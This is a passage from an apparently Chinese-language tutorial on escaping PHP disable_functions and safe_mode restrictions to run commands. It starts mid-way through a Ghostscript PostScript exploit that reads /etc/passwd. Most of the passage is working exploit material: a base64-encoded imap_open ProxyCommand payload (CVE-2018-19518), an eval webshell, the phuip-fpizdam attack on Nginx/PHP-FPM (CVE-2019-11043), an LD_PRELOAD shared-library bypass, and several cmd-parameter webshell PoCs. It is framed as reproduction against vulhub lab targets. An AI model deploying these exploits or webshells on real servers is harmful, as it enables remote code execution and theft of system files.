/PDFfile { (Stage 0: PDFfile)= currentfile }
/q { (Stage 1: q)= } % no-op
/oget { (Stage 3: oget)= pop pop 0 } % clear stack
/pdfemptycount { (Stage 4: pdfemptycount)= } % no-op
/gput { (Stage 5: gput)= } % no-op
/resolvestream { (Stage 6: resolvestream)= } % no-op
/pdfopdict { (Stage 7: pdfopdict)= } % no-op
/.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
/pdfdict { (Stage 9: pdfdict)=
% cause a /typecheck error we handle above
true
}
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
(Attempting to execute a shell command...)= flush
% run command
(%pipe%cat /etc/passwd > /var/www/html/res.txt) (w) file closefile
(All done.)=
quit
作者給出了POC,上傳這個文件,即可執行cat /etc/passwd > /var/www/html/res.txt:

image-20220110201707101
利用 PHP imap_open RCE 漏洞 (CVE-2018-19518)漏洞簡介:
PHP 的imap_open函數中的漏洞可能允許經過身份驗證的遠程攻擊者在目標系統上執行任意命令。該漏洞的存在是因為受影響的軟件的imap_open函數在將郵箱名稱傳遞給rsh或ssh命令之前不正確地過濾郵箱名稱。如果啟用了rsh和ssh功能并且rsh命令是ssh命令的符號鏈接,則攻擊者可以通過向目標系統發送包含-oProxyCommand參數的惡意IMAP服務器名稱來利用此漏洞。成功的攻擊可能允許攻擊者繞過其他禁用的exec 受影響軟件中的功能,攻擊者可利用這些功能在目標系統上執行任意shell命令。
漏洞利用條件:
?Ubuntu https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-19518.html
?Debian https://security-tracker.debian.org/tracker/CVE-2018-19518
?Red Hat https://access.redhat.com/security/cve/cve-2018-19518
?SUSE https://www.suse.com/security/cve/CVE-2018-19518/
這個漏洞出現在較老的PHP版本中,PHP官方針對7.1.x在7.1.25版本發布時修復了 CVE-2018-19518 漏洞。
靶場環境:
項目地址:https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518
進入靶場并在Web目錄中寫入WebShell:
<?php @eval($_POST['hacker']); ?>
該漏洞執行的結果是無回顯的,為了保存查看執行后的命令回顯的數據,這里將Web目錄的所屬改為www-data
chown -R www-data:www-data /var/www/html
具體的環境配置與漏洞復現過程可以參考FreeBuf的這篇文章:
https://www.freebuf.com/vuls/192712.html
靶場突破:
payload:
<?php
$payload = "cat /etc/passwd >/var/www/html/res.txt";
$base64 = base64_encode($payload);
$server = "x -oProxyCommand=echo\t{$base64}|base64\t-d|sh";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
將payload代碼部分進行URL編碼:
$payload%20=%20%22cat%20/etc/passwd%20%3E/var/www/html/res.txt%22;%0A$base64%20=%20base64_encode($payload);%0A$server%20=%20%22x%20-oProxyCommand=echo%5Ct%7B$base64%7D%7Cbase64%5Ct-d%7Csh%22;%0A@imap_open('%7B'.$server.'%7D:143/imap%7DINBOX',%20'',%20'')%20or%20die(%22%5Cn%5CnError:%20%22.imap_last_error());
在WebShell中提交即可執行命令。

image-20220110155722488
利用Nginx+PHP-fpm RCE 漏洞 (CVE-2019-11043)漏洞簡介:
2019年10月23日,github公開漏洞相關的詳情以及exp。當nginx配置不當時,會導致php-fpm遠程任意代碼執行。
攻擊者可以使用換行符(%0a)來破壞fastcgi_split_path_info指令中的Regexp。Regexp被損壞導致PATH_INFO為空,同時slen可控,從而觸發該漏洞。
漏洞利用條件:
?Linux系統
?Nginx + PHP-FPM
?PHP 版本
?PHP 7.0.X
?PHP 7.1.X < 7.1.33
?PHP 7.2.X < 7.2.24
?PHP 7.3.X < 7.3.11
?Nginx特定配置(如下)
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
靶場環境:
項目地址:https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
靶場突破:
下載github上公開的exp(需要go環境)。
go get github.com/neex/phuip-fpizdam
然后編譯
go install github.com/neex/phuip-fpizdam
使用exp攻擊靶場網站
./phuip-fpizdam http://192.168.43.187:8080/index.php

image-20220110163535254
攻擊成功,可以直接執行命令。

image-20220110164307228
其它繞過方法以下方法由于很多都是針對舊版本的PHP,有些需要加載特殊的第三方擴展,就不具體講解了,有興趣的小伙伴可以自己去復現。
PHP5 pcntl_exec()
<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';
$arg = array($cmd, $option, $dir);
pcntl_exec($pathtobin, $arg);
echo '123';
?>
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
$cmd = $cmd."&pkill -9 bash >out";
pcntl_exec("/bin/bash", $cmd);
echo file_get_contents("out");
} else {
echo '不支持pcntl擴展';
}
?>
PHP proc_open()
a.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getuid()
{
char *en;
char *buf=malloc(300);
FILE *a;
unsetenv("LD_PRELOAD");
a=fopen(".comm","r");
buf=fgets(buf,100,a);
write(2,buf,strlen(buf));
fclose(a);
rename("a.so","b.so");
system(buf);
system("mv output.txt .comm1");
rename("b.so","a.so");
free(buf);
return 0;
}
evil.php:
<?php
$path="/var/www"; //change to your writable path
$a=fopen($path."/.comm","w");
fputs($a,$_GET["c"]);
fclose($a);
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("file", $path."/output.txt","w"),
2 => array("file", $path."/errors.txt", "a" )
);
$cwd = '.';
$env = array('LD_PRELOAD' => $path."/a.so");
$process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed
sleep(1);
$a=fopen($path."/.comm1","r");
echo "<pre><b>";
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a);
echo "</pre>";
?>
PHP 5.2.3 win32std Extension
<?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
//Thanks to rgod for all his precious advises :)
//I set php.ini in this way:
//safe_mode = On
//disable_functions = system
//if you launch the exploit from the cli, cmd.exe will be wxecuted
//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager
if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>
PHP Perl Extension
<?php
##########################################################
###----------------------------------------------------###
###----PHP Perl Extension Safe_mode Bypass Exploit-----###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "</textarea>";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"
?>
PHP 5.2.4 ionCube extension
<?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
//Technical details:
//ionCube version: 6.5
//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
//url: www.ioncube.com
//php.ini settings:
//safe_mode = On
//disable_functions = ioncube_read_file, readfile
//Description:
//This is useful to obtain juicy informations but also to retrieve source
//code of php pages, password files, etc... you just need to change file path.
//Anyway, don't worry, nobody will read your obfuscated code :)
//greetz to: BlackLight for help me to understand better PHP
//P.S.
//This extension contains even an interesting ioncube_write_file function...
if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");
$path = str_repeat("..\\", 20);
$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)
$MyBoot_ioncube = ioncube_read_file($path."boot.ini");
echo $MyBoot_readfile;
echo "<br><br>ionCube output:<br><br>";
echo $MyBoot_ioncube;
?>
PHP <=5.2.9 (Windows x86) Safe_mode Bypass Vulnerability
<?php
//cmd.php
/*
Abysssec Inc Public Advisory
Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
the problem comes from OS behavior - implement and interfacing between php
and operation systems directory structure . the problem is php won't tell difference
between directory browsing in linux and windows this can lead attacker to ability
execute his / her commands on targert machie even in SafeMod On (php.ini setting) .
=============================================================================
in linux when you want open a directory for example php directory you need
to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell
diffence between slash and back slash it means there is no didffrence between
c:\php and c:/php , and this is not vulnerability but itself but because of this simple
php implement "\" character can escape safemode using function like excec .
here is a PoC for discussed vulnerability . just upload files on your target host and execute
your commands .
==============================================================================
note : this vulnerabities is just for educational purpose and author will be not be responsible
for any damage using this vulnerabilty.
==============================================================================
for more information visit Abysssec.com
feel free to contact me at admin [at] abysssec.com
*/
$cmd = $_REQUEST['cmd'];
if ($cmd){
$batch = fopen ("cmd.bat","w");
fwrite($batch,"$cmd>abysssec.txt"."\r\n");
fwrite($batch,"exit");
fclose($batch);
exec("\start cmd.bat");
echo "<center>";
echo "<h1>Abysssec.com PHP <= 5.2.9 SafeMod Bypasser</h1>";
echo "<textarea rows=20 cols=60>";
require("abysssec.txt");
echo "</textarea>";
echo "</center>";
}
?>
<html>
<body bgcolor=#000000 and text=#DO0000>
<center>
<form method=post>
<input type=text name=cmd >
<input type=submit value=bypass>
</form>
</center>
</body>
</html>
PHP 5.2 FOpen Safe_mode Restriction Bypass Vulnerability
source: https://www.securityfocus.com/bid/22261/info
PHP is prone to a 'safe_mode' restriction-bypass vulnerability. Successful exploits could allow an attacker to write files in unauthorized locations; other attacks may also be possible.
This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code, all assuming that the 'safe_mode' restriction will isolate users from each other.
This issue is reported to affect PHP version 5.2.0; other versions may also be vulnerable.
php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
PHP 5.2.4 and 5.2.5 PHP cURL Safe_mode Bypass Vulnerability
source: http://www.securityfocus.com/bid/27413/info
PHP cURL is prone to a 'safe mode' security-bypass vulnerability.
Attackers can use this issue to gain access to restricted files, potentially obtaining sensitive information that may aid in further attacks.
The issue affects PHP 5.2.5 and 5.2.4.
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));